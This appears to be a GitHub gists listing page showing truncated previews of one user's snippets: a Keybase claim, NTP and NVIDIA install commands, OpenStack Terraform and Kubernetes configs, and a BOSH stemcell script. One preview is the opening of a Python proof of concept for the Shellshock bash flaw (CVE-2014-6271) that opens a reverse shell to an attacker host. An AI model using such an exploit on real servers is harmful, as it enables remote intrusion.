I hereby claim:
- I am matjohn2 on github.
- I am mattkj (https://keybase.io/mattkj) on keybase.
- I have a public key ASDVLUSgONY9HwYHLu8zKjp1GLiYoRDjUGa4m_xmLaHzfgo
To claim this, I am signing this object:
apt-get install ntp | |
cat << EOF > /etc/ntp.conf | |
driftfile /var/lib/ntp/ntp.drift | |
statistics loopstats peerstats clockstats | |
filegen loopstats file loopstats type day enable | |
filegen peerstats file peerstats type day enable | |
filegen clockstats file clockstats type day enable | |
server ntp.esl.cisco.com | |
server 0.pool.ntp.org | |
restrict -4 default kod notrap nomodify nopeer noquery |
root@premvp-cloudhammer-3:~/deployments# cat /usr/local/rvm/gems/ruby-2.0.0-p451/gems/fog-1.14.0/lib/fog/openstack/requests/compute/create_server.rb | |
module Fog | |
module Compute | |
class OpenStack | |
class Real | |
def create_server(name, image_ref, flavor_ref, options = {}) | |
data = { | |
'server' => { | |
'flavorRef' => flavor_ref, |
#!/bin/bash | |
# Dirty script to take a CloudFoundry BOSH stemcell and convert to RAW and repackage (default in QCOW2) | |
# Matt Johnson <[email protected]> | |
# Set some vars | |
MINPARAMS=1 | |
WORKDIR=`date | sha1sum | awk '{print $1}'` |
# | |
# Reverse shell using bash and /dev/tcp | |
# PoC for CVE-2014-6271 BASH RCE | |
# | |
import httplib,urllib,sys | |
if (len(sys.argv)<4): | |
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0] |
# Testing the OpenStack provider from merge of | |
# https://github.com/hashicorp/terraform/pull/924 | |
provider "openstack" { | |
user_name = "Openstack User" | |
tenant_name = "OPENSTACK TENANT NAME" | |
auth_url = "https://openstack-keystone-auth-uri:5000/v2.0" | |
password = "YourOpenstackPassword" | |
} |
# Testing the OpenStack provider from merge of | |
# https://github.com/hashicorp/terraform/pull/924 | |
provider "openstack" { | |
user_name = "<<USER_INPUT_NEEDED>>" | |
tenant_name = "<<USER_INPUT_NEEDED>>" | |
auth_url = "<<USER_INPUT_NEEDED>>" | |
password = "<<USER_INPUT_NEEDED>>" | |
} |
wget http://us.download.nvidia.com/XFree86/Linux-x86_64/375.26/NVIDIA-Linux-x86_64-375.26.run | |
sudo yum install dkms gcc cc kernel-devel | |
sudo yum update kernel | |
sudo chmod +x ./NVIDIA-Linux-x86_64-375.26.run | |
shutdown -r now #We need the running kernel to match our sources. | |
# enable the epel repo in /etc/yum.repos.d/epel.repo | |
yum install p7zip |
Docker 101 (Example demonstrating embedded video) | |
# Objective | |
This learning lab will introduce you blah blah blah, it's not a real learning lab, it just shows how the learning lab backend will notice a HTML snippet and parse it correctly in the output. | |
In this case, the example embeds a youtube video directly into the learning lab page. | |
Completion time: 5 minutes |
I hereby claim:
To claim this, I am signing this object:
apiVersion: apps/v1beta1 # for versions before 1.6.0 use extensions/v1beta1 | |
kind: Deployment | |
metadata: | |
name: gateway | |
spec: | |
replicas: 1 | |
template: | |
metadata: | |
labels: | |
app: gateway |